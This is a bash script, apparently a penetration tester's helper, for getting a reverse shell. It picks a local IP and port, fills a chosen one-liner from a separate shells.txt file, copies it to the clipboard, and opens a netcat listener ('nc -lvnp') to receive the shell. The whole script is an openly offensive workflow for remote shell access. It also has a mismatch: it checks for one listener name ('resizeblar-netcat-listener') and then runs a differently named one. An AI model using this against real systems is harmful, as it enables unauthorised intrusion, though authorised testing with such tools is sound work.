|
|
|
#!/usr/bin/env bash
|
|
|
|
#
|
|
|
|
# Use dmenu to pick a reverse shell
|
|
|
|
#
|
|
|
|
# Requirements:
|
|
|
|
# dmenu, xsel
|
|
|
|
#
|
|
|
|
|
|
|
|
SHELLS="$(dirname $0)/shells.txt"
|
|
|
|
|
|
|
|
function notify() {
|
|
|
|
if [ "$(command -v notify-send)" ]; then
|
|
|
|
notify-send "$1" "$2"
|
|
|
|
fi
|
|
|
|
}
|
|
|
|
|
|
|
|
function getIP(){
|
|
|
|
ip route |
|
|
|
|
grep -oe 'src [^ ]* ' | # Get in the form 'src ipaddress'
|
|
|
|
awk '{print $2}' | # Get the ip
|
|
|
|
sort -u | # Get the unique ones
|
|
|
|
rofi -dmenu -i -p "IP Address"
|
|
|
|
}
|
|
|
|
|
|
|
|
function getPort() {
|
|
|
|
rofi -dmenu -p "Port"
|
|
|
|
}
|
|
|
|
|
|
|
|
function getReverseShell() {
|
|
|
|
ip="$1"
|
|
|
|
port="$2"
|
|
|
|
cat "$SHELLS" |
|
|
|
|
sed "s/\[IPADDR\]/$ip/g" |
|
|
|
|
sed "s/\[PORT\]/$port/g" |
|
|
|
|
rofi -dmenu -i -p "Reverse Shell" |
|
|
|
|
cut -d'|' -f2-
|
|
|
|
}
|
|
|
|
|
|
|
|
function getRows(){
|
|
|
|
stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3
|
|
|
|
}
|
|
|
|
|
|
|
|
function getCols(){
|
|
|
|
stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3
|
|
|
|
}
|
|
|
|
|
|
|
|
function display() {
|
|
|
|
ip=$(getIP)
|
|
|
|
port=$(getPort)
|
|
|
|
reverseShell=$(getReverseShell $ip $port)
|
|
|
|
|
|
|
|
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
|
|
|
|
echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary
|
|
|
|
|
|
|
|
type -p resizeblar-netcat-listener &&
|
|
|
|
resize-netcat-listener -r /home/jonathan/go/src/resize-nc-listener/examples/stty-resize-copy $port ||
|
|
|
|
nc -lvnp $port
|
|
|
|
#Put the tty back to normal
|
|
|
|
# This is useful if I got a nice shell before
|
|
|
|
stty -raw echo
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
# display displays :)
|
|
|
|
display
|